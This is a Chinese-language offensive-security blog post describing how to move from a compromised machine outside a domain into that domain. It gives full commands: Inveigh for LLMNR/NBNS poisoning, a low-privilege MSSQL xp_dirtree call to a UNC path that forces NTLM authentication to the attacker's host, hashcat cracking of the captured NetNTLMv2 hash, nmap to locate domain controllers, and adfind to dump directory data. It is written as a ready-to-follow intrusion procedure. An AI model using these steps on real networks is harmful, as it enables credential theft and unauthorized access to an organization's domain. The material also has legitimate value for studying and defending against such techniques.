前言:
文章起因源自某位兄弟的问题, 觉得还不错, 故在此做简短说明, 先来假设这么一种场景,当我们拿到目标内网一台域外机权限, 并随后在该机器上翻到一个低权限的 Mssql账密, 连到目标mssql后发现平时的 XP_Cmdshell, clr... 此时全部不好使, 只有xp_dirtree可正常操作, 关于利用 "Mssql服务自身错误配置" "系统本地提权" 的事儿此处暂且不说, 假设这台Mssql就是台域内机, mssql服务本身也是用某个目标域账户在跑 (, mssql 2008以下默认system较常见, Mssql 2012之后的版本默认基本都是在一个很低的服务权限下跑), 最终目的也是为了尽快跨到目标域此时, 便可利用如下方式快速获取一个到目标域内的入口机
注意事项:
 还是那句话, 如果目标 mssql 是以默认的system或服务用户权限在跑, 以下方式无效, 因为我们事先是压根不知道对方的mssql服务到底是在用什么权限跑,但不试试谁又知道呢,另外, 如果目标mssql和当前已控机不在统一个Vlan下, Vlan 和 Vlan 之间事先又做了端口ACL, 比如,  某个Vlan和另一个Vlan之间不允许 455 端口互访, 此方式依然无效
    首先, 在当前已控域外机上执行 [注, 管理权限下运行, 建议先关闭当前机器防火墙]
# Inveigh.exe -mDNS N -LLMNRv6 Y -LLMNR Y -NBNS Y -DHCPv6 Y 
    接着, 连入目标Mssql执行, ,此时用于连接的这个klion用户, 只是一个权限非常低的数据库用户(只是个Public角色), 并非数据库管理员, 187就是我们当前已控的这台域外机,后面的文件路径可随便写,主要是为了unc触发认证
SQL > EXEC master.sys.xp_dirtree '\\172.23.119.187\simblog.txt',0,1;
    而后, 187上即可捕获到认证hash, 发现疑似域账户, ,如果没抓到hash可尝试多执行几次
    将 Hash拖回本地爆破, 实际中不要老想着一看破不开就直接提前放弃了,先把hash拿回来让它在那儿自己跑着, 也并不会有什么坏处, 万一后面真的山穷水尽了, 也许这就是唯一的希望
hashcat64.exe-a 0 -m 5600 hash.txtBigPwds.txt
有了明文账密, 下一步自然就是定位目标域控
# nmap -T3 -Pn -sV -n -sT -p 88,389 -v --open 172.23.119.0/24
    最后, 利用上面破出的域账密和目标域控ip, 远程dump域内数据,  此时如何在最低低权限下从一台 "域外机"拿到一台 "域内"入口机的基本流程就清晰了,注,如果你此时拿到hash的这个账户是一个域管账户,后面的利用可能又是另一番景象, 实际中并不排除这样的可能
adfind.exe -h 172.23.119.119 -u klion\SPADMIN -up Admin12345 -default -f "objectcategory=organizationalUnit" name whenCreated
    如果觉得还不错,欢迎积极转发留言,以便让更多真正需要的人都能看到,如遇文中错误,欢迎随时私信指正,非常感谢
    另外,依然期待能和更多真正志同道合弟兄一起深入交流学习 ( 还是那句话,维护不易,乱七八糟的人就不要来了,非常感谢 ),因为各种各样的事情,确实太久没更新了,也是怕长期潜水,号潜没了,所以就寻思来不定时"激活"下
继续阅读
阅读原文